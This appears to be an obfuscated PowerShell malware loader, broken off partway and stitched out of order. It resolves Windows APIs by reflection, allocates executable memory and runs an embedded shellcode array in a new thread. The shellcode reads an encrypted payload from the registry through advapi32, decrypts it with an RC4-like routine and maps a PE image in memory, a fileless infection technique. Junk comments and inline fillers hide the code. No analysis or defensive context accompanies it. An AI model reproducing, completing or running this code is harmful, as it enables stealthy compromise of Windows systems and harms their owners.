0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x70 0x66 0x7A 0x31 0x78 0x79 0x44 0x62 0x71 0x67 0x00 0x00 <#qxa#>0x00 0x00 0x00 0x00 0x00 0x53 0xEE 0x89 0x61 0xBB 0xA0 0x31 0xB0 0x5D <#mds#>0x87 0x2D 0x49 <#ta#>0xF9 0x0D 0xC5 0x4F 0xAC 0x84 0x21 0xE3 0xD7 0x1B 0x30 0xB4 0x82 0x25 0x53 0x32 0x4A 0x4C 0x85 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C <#pl#>0x00 <#vdq#>0x3C 0x00 0x3A 0x00 0x3A <#sc#>0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 <#av#>0x6C 0x00 0x62 <#djc#>0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 <#ib#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#nm#>0x00 0x00 0x00 <#ywi#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D <#oqc#>0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x86 0x5E 0x88 0x53 0xBF 0xB4 0x07 0xE1 0x08 0x10 0xD9 0xCD 0xB6 0xB6 0xEB 0x1E 0xB8 0x09 0x94 0xB8 0x44 0x7B 0xC5 0x3E 0xD3 0xDD 0x7F 0x42 0xF3 0xE5 0xC7 0x16 0xD1 0x56 0xA2 0x7E 0x99 <#ho#>0x4D 0xBF 0x19 0x05 0x84 0xE0 0x47 0xB7 0x86 0x33 0xDC 0x45 0x38 0x15 0xED 0xF5 0x33 0x09 <#ov#>0x75 0xB4 0xBB; #omha $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #hbjkh if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #dthuix for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #wrkbggp ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #qltkex }sleep(1200);}catch{}exit; #lwzv #magtengmuoxcpgrckntrjtlzogioqyxc #isnefouxzyef sleep(15);try{ #askzsqydg function gdelegate{ #abpatdden Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #secfew $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #zgtdufzhas $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #eqinreeknk $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #xnrg return $TypeBuilder.CreateType();} #ubynm function gproc{ #ponbaxhuou Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #totlui $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #ulldlp $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #ophxlbnvcc return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #kyjzenzom [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 <#dh#>0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 <#faw#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 <#bwf#>0xDB 0x89 0x5D 0xFC 0x5F <#nl#>0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC <#nac#>0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#fwa#>0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#cmo#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB <#ox#>0x01 <#km#>0x00 0x00 0x40 0x89 0x85 0x3C 0xFF <#wkc#>0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 <#pj#>0x20 0x33 <#ycx#>0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 <#kq#>0x04 0x24 0x13 <#wbn#>0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F <#ehi#>0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B <#xju#>0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#mh#>0x04 0x83 0xC4 0x08 0x66 0x8B <#hcd#>0x00 <#cvn#>0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC <#djs#>0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 <#kmn#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 <#odm#>0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B <#ja#>0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#zo#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B <#xo#>0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 <#sg#>0xE0 0x02 0x03 0xD0 <#esv#>0x8B 0x02 0x03 0x45 <#lyl#>0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 <#ak#>0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#ba#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 <#ar#>0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 <#fk#>0x04 0x81 <#csw#>0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 <#gyb#>0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 0x73 <#ujs#>0x75 <#bfi#>0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 <#qa#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#wxj#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 <#mwn#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 <#of#>0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 <#li#>0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 <#ak#>0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A <#bo#>0xFF <#bm#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF <#dqn#>0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 <#csv#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B <#bdd#>0x45 0xD4 0x66 0x81 0x38 0x4D <#kwc#>0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 <#thb#>0x04 0x24 <#ky#>0x13 0x54 0x24 0x04 0x83 <#sr#>0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#hdn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F <#zsx#>0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 <#yep#>0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 <#zo#>0x24 0x13 0x54 0x24 0x04 <#erw#>0x83 0xC4 0x08 0x8B 0x08 0x03 <#uoq#>0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 <#qdp#>0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 <#mj#>0x41 0x75 0x3D <#lsp#>0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 <#dyq#>0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC <#kgn#>0x8B 0x52 <#qcu#>0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#zo#>0x8B 0x02 0x03 0xC3 0x89 0x45 <#tqe#>0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 0x48 0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 <#sa#>0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 <#fb#>0xD2 0x52 0x50 0x8B <#iu#>0xC6 0x03 0xC0 0x99 0x03 0x04 <#wp#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#wb#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 <#zo#>0x89 0x85 <#hz#>0x7C 0xFF 0xFF 0xFF <#cv#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bww#>0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF <#be#>0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#bnk#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#lwe#>0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#cy#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#tpl#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF <#pan#>0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B <#tv#>0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 <#rzv#>0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF <#zu#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF <#pv#>0xFF 0x50 0x68 0x01 <#kx#>0x00 0x00 0x80 <#nxw#>0xFF 0x55 <#mu#>0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#sz#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF <#zhb#>0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#tf#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#yx#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#sa#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF <#sz#>0xFF 0xFF 0x00 0x74 <#qsf#>0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#thl#>0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#pdl#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF <#zr#>0x55 0xAC 0x85 0xC0 0x75 0x02 <#hgl#>0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B <#co#>0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF <#hfa#>0x33 0xF6 0x8D 0x8D 0x00 <#yx#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 <#uhz#>0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 <#qdx#>0x15 <#xr#>0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D <#iil#>0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 <#fas#>0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#npc#>0x6A <#sf#>0x40 <#hi#>0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#ul#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF <#woa#>0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#uw#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF <#fdw#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF <#jku#>0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF <#ge#>0xFF 0xEB 0x05 0x6A <#trb#>0x00 0xFF 0x55 0xA4 0x8B <#cj#>0x85 0x60 0xFF 0xFF 0xFF 0x48 <#xgk#>0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 <#zu#>0x00 <#rz#>0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#pe#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B <#ti#>0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF <#pa#>0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B <#vm#>0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D <#iye#>0x3C 0xFF 0xFF 0xFF 0x75 0x95 <#xyg#>0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 <#oai#>0x66 <#nps#>0x81 <#dz#>0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 <#gx#>0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF <#wwe#>0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 <#oq#>0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 <#xg#>0x7D <#cl#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#is#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 <#ov#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 <#oju#>0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#bc#>0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF <#el#>0xFF 0xFF 0x6A <#puq#>0x60 0x8B 0x85 0x7C 0xFF 0xFF <#cj#>0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 <#vvi#>0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF <#nr#>0xFF <#thl#>0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 <#tet#>0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 <#vi#>0x8D 0x0C 0x89 0x03 0xD1 <#fco#>0x89 0x95 0x50 0xFF 0xFF <#mk#>0xFF 0x8B <#si#>0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF <#lnc#>0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 <#xem#>0x8B 0x40 0x34 <#mkz#>0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 <#zci#>0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 <#ne#>0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 <#mcq#>0x8B 0x80 0xA0 0x00 0x00 0x00 <#ws#>0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B <#qn#>0x45 0xEC 0x8B <#ors#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 <#zeb#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 0xE8 <#mjb#>0x48 <#ld#>0x85 <#em#>0xC0 <#yz#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 <#zdc#>0x0C 0x8B 0xCA <#sy#>0x66 0x81 <#eco#>0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 <#xno#>0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF <#jwa#>0xFF 0xFF <#lp#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 0x38 0x00 0x77 0x8A 0x8B <#enc#>0x45 0xD0 0x8B 0x55 0xF8 <#vl#>0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B <#evh#>0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 <#uyv#>0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D <#yb#>0xF8 <#lrf#>0x57 0xFF 0x55 0xBC <#hk#>0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 <#whj#>0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 <#he#>0xF8 0x89 0x45 0x88 0xEB 0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B <#ybs#>0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#qr#>0xEB 0x37 0x8B 0x45 <#ej#>0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 <#cuw#>0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 <#jud#>0x8B 0x55 